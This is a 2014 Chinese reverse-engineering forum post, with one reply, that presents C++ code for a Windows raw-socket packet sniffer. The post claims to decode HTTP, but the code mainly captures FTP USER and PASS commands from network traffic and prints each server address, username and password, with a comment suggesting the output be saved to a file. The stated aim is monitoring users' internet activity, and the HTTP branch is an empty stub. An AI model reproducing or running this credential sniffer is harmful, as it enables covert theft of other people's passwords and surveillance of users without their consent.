滴水逆向联盟
标题:
VC++实现ip数据包解包TCP解包HTTP
[打印本页]
作者:
大灰狼
时间:
2014-11-6 09:02
标题:
VC++实现ip数据包解包TCP解包HTTP
我们需要监控用户的互联网行为,则需要检测HTTP
如何在网络层截取HTTP呢,众所周知,网站是80号端口
代码实现如下:
CInitSock theSock;
void GetFtp(char *pData, DWORD dwDestIp)
{
char szBuf[256];
static char szUserName[21];
static char szPassword[21];
if(strnicmp(pData, "USER ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szUserName);
}
else if(strnicmp(pData, "PASS ", 5) == 0)
{
sscanf(pData + 4, "%*[ ]%s", szPassword);
wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n",
::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);
printf(szBuf); // 这里您可以将它保存到文件中
}
}
void DecodeIPPacket(char *pData)
{
IPHeader *pIPHdr = (IPHeader*)pData;
int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);
switch(pIPHdr->ipProtocol)
{
case IPPROTO_TCP:
{
TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
switch(::ntohs(pTCPHdr->destinationPort))
{
case 21: // ftp协议
{
GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
}
break;
case 80: // http协议...
case 8080:
break;
}
}
break;
case IPPROTO_UDP:
break;
case IPPROTO_ICMP:
break;
}
}
void main()
{
// 创建原始套节字
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
// 获取本地IP地址
char szHostName[56];
SOCKADDR_IN addr_in;
struct hostent *pHost;
gethostname(szHostName, 56);
if((pHost = gethostbyname((char*)szHostName)) == NULL)
return ;
// 在调用ioctl之前,套节字必须绑定
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(0);
memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);
printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));
if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
return;
// 设置SIO_RCVALL控制代码,以便接收所有的IP包
DWORD dwValue = 1;
if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
return ;
// 开始接收封包
printf(" \n\n begin to monitor ftp password... \n\n");
char buff[1024];
int nRet;
while(TRUE)
{
nRet = recv(sRaw, buff, 1024, 0);
if(nRet > 0)
{
DecodeIPPacket(buff);
}
}
closesocket(sRaw);
}
复制代码
作者:
OneTime
时间:
2014-11-16 20:41
一次性只能发送四个字节?
欢迎光临 滴水逆向联盟 (http://www.dtdebug.com/)
Powered by Discuz! X3.2